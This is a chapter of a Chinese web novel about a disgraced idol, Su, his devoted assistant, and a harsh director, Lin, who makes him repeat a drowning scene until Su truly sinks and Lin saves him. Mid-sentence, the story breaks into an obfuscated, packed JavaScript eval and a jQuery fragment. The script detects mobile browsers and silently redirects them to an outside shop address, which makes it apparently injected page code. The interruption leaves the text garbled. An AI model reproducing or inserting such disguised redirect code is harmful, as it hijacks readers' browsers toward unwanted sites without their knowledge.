“我不知道你是怎么想的。”
过了会，他起身说：“接下来你自己看着办吧。”
经纪人离开了，助理仍陪伴在他身边。他听从苏的指示买了很多的酒，他正低头将酒放进冰箱里时，听见苏说：“你走吧。”
一个不慎酒从他的手里滑落，助理下意识伸手却也只能眼睁睁看酒瓶在眼前迸裂，玻璃渣子试图刺伤每一个尝试靠近他的人。
助理声音发颤，“苏，不要赶我走。”
苏的头发有些长了，长时间没有出门让他的皮肤变得苍白，经纪人今天过来是通知他要进组了。这有些出乎他的意料，先前对绯闻事件持一丁点风吹草动就要来敲打苏的导演Lin，现在居然没提要换人。
助理走路的脚步很轻，他一向擅长在苏的面前减轻自己的存在感，又在他需要的时候出现。苏看见红色的酒液淌了一地，又形成了一个向他走来的脚印，助理的脸出现在他的视野里。在对视间，苏看清他眼里的自己，倒映在漆黑瞳仁里的身影，被助理紧紧地盯视着。
“行远，我没有什么能给你的了。”苏轻轻道，“除了遣散费。”
这话极大地刺激到了对方的情绪，让青年一时间也说不下去了，他静静的看着助理竭力按捺自己颤抖的身躯。对方的手指抓住了他的衣角，往上便是他的袖口，但这又像某种不能擅自触碰的禁忌，只能卑微而小心的揪住衣角的布料，无声的发出自己的祈求。
“不要，丢开我。”这几个字眼难涩的从助理的喉咙里挤压出来，这熟悉而痛苦的腔调刺中了苏的某个记忆点。他这时隐约回味过来了什么，同时潮湿的水汽一同来临。
望向窗外，今天是个艳阳天。
“我只想待在你身边。”助理说。
酒渍沾到他的袖管，苏从他的身上闻到了酒猝然迸裂时遗留下来的气味。这气味在持续发酵，离得他很近。
助理读懂了他的目光，起身为他倒了一杯酒。苏低头抿了一口，在对方讶然的视线中亲吻了他。冰凉的液体，湿漉漉的液体。是酒还是眼泪。
一颗卑微的真心与一个怜悯的吻。
在苏要进组的前夜，廖先生发来邀约。他买下了一个岛，像之前和苏提起的那样，如果苏愿意的话，他们可以搬到那个地方共同生活。他不会对苏设有任何限制，一切仅凭他的意愿。也绝对没有人会来打扰他，提起过往那些不愉快的事。
苏删掉了那则短信。一切又回到了什么都没有发生。
导演Lin是混血，深邃碧绿的眼眸与英俊的长相让他看上去比导演身份更贴合的是模特。他热爱摄影，专注镜头下的事物，成年后拍摄的第一部短片奠定了他的风格基调，也自此开启了他的成名之路。
在这名严苛的导演手下做事，演员要承受的压力不小。编剧也要时刻跟进剧本调整走向与人设安排，片场的大小事物都必定会被过问和安排一遍，包括灯光打下来的方位。不同于先前接触过拍摄场面的嘈杂，这里充斥着死一般的安静。
每个人在各自的节点上都是按部就班的人偶，不能背离导演Lin的旨意。男女主都有演艺方面的经验，但在拍摄过程中不断被要求精进细节而导致重拍NG的次数不下十次，拍到后面眼神里已然透露出心如死灰的意味。
导演Lin依然要求重来。
碍于导演Lin的严苛，片场里的人看待这名劣迹偶像的目光虽然异样却不敢放肆。这阵风头还没过去，网络上流传的视频与网友们的热梗还在喧嚣，其中吃瓜人最好奇的还是另一名被打码的主人公究竟是谁，凭什么能吃那么好。
在发布会上的那一出让公司彻底放弃了苏，连经纪人也无法再为苏说话了。在所有人看来，他到头了。作为偶像手头上仅剩的资源就只剩下和这名严苛的导演合作，对方兴许是看在廖先生的份上才没有把他从剧组上踢出去。
想蜷缩在黑暗的角落，但依然要工作。无法做到彻底无视他人投来的目光，只能放空自己的思绪，迄今为止这是非常有效的手段。他依稀听见蝉鸣声，蝉死去后的第一个冬日，他就能离开这个地方了。苏这么告诉自己。
在剧本的安排下，苏等来了属于自己的第一场戏，落水。
Action，NG。
Action，NG。
Action，NG。
……
镜头一次次对准他的脸，忽然有了一丝不忍的颤抖。有人试图上前交涉，这些都被导演Lin轻淡的压制下去。
“Again。”
早期有杂志评价过这名劣迹偶像，他的美不分性别。骨相的优越令他在镜头前占尽优势，一个不经意的回眸便能攫取他人的心神。
Lin在这时明白了廖先生的痴迷。对方极力要求他别拿平时的标准来苛待自己的情人，这种要求令他反感。却被青年的表现力打动。
湿漉漉的发丝垂落在苏的眉眼，一次又一次的NG没有让那张面孔流露出一丝挫败。演员被消磨到后面会不自禁倾泻出负面情绪，即使在镜头前竭力克制也不免有所痕迹，镜头语言的表现力绝大部分就是要靠这样下意识的情绪构筑。
青年饰演的这个角色在前期是任人欺凌的小人物，发展到后期人物内里的崩坏也是以此为基调的决定因素。
仅是表现出角色的狼狈还不够，濒临窒息后的绝望与悲哀才是镜头想要捕捉的。人物崩溃的节点就是从这开始。
但……导演Lin蹙眉，身体下意识前倾紧盯镜头，眼神又似是越过镜头看着苏。经过反复多次的NG，体力的透支与精神的压力都令在场领教过的演员不自觉紧绷神经，在镜头开拍前就已下意识感到焦虑。
那张美丽的、曾被杂志捧为宠儿的东方面孔——苍白虚弱，嘴唇冷得发颤，沉重的服饰形成另一股拉扯着他向下坠去的重力。一次次的目睹自己被淹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283953|138478||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没，一次次的丧失身体的掌控，但为什么即便如此，也依然无法看到那张面孔上的狼狈。
与之相反的是，某种不言而喻的骄傲在这境地诞生了。背离了狼狈，背离了Lin的初衷。镜头语言很好的捕捉到了这一点，NG，Aciton，NG，Action……仍旧是NG，Action。Lin豁然起身眼神紧盯屏幕，片场死一般的沉默，只有机器嗡嗡的运转着。
旁观一个人受刑的滋味并不好受，即使那是出于工作需要的磨损身心。导演Lin的意图令人琢磨不透，大家都知道只有达到对方的要求才能收工结束。可这条件太苛刻了，没有人能揣摩出他满意的界限在哪里。
那么苏究竟该怎么做才能达到他内心的标准？
饰演这部电影的女主鼓起勇气上前劝道：“他还是一个新人，今天就先到这吧。”
却得到导演Lin一个意想不到的回答：“他比你们都有灵气。”
女主怔住了，男主默不作声过来拉走了她。
某种纯粹的精神感染了镜头，使镜头语言富含了耐人寻味的生动。苏作为偶像的优势在镜头下展露无疑，一直视线紧密追随着他的导演Lin喉头微动。在廖先生向他提到青年时，他就私下派人去打听过对方，风评极差的同时追逐的人也不在少数。
他不得不承认，正如杂志上形容的那样，青年身上真的具有某种魔力能够轻易地攫取他人的心神。
卡。
这条过了。
刚才仿佛死了一样的片场顷刻间变得热闹，嘈杂的声音汇聚在一起灌进苏的耳朵里。他听见了决定这场戏是否结束的裁决，身体长时间浸泡在冰冷的河水里，以至于感官的知觉丧失了大半部分，到后面他仅凭本能来调动肢体的摆动。
冰冷带来的刺痛渐渐消退，久违的困倦袭上大脑，他看见工作人员急忙的往这边跑来，手里拿着准备好的干毛巾。他感觉自己的身躯正沉重的向下坠去，原先还支撑着他的一口气正渐渐消散。
胚胎时期围绕着他的羊水是温暖的液体，脱离母体后率先感知这个世界的便是侵袭而来的温度。一种适宜的冰冷慢慢地吞没了他。他向下坠去，那些试图抓住他的人在岸上，苏能看清他们每个人的面孔却不认识他们。
没人同劣迹偶像搭话，在休息室连化妆师都不怎么跟他说话。所幸片场平时也很安静，导演Lin不容许这里太嘈杂，以至于欠缺的人际关系上的短板没有暴露的太难堪。
为什么他们都站在岸上看着他，神色那么的慌张。
昏沉的大脑猛然意识到了一个事实，他正在向下坠去。长时间的拍摄让他体力不支，这也是为什么岸上那么慌张吵嚷的缘故。
苏真的落水了。
但也在短短几秒钟后，一个身影追逐着来到他身边，向他伸出了手。
是Lin。
一个自我的人被一颗破碎的心俘获了。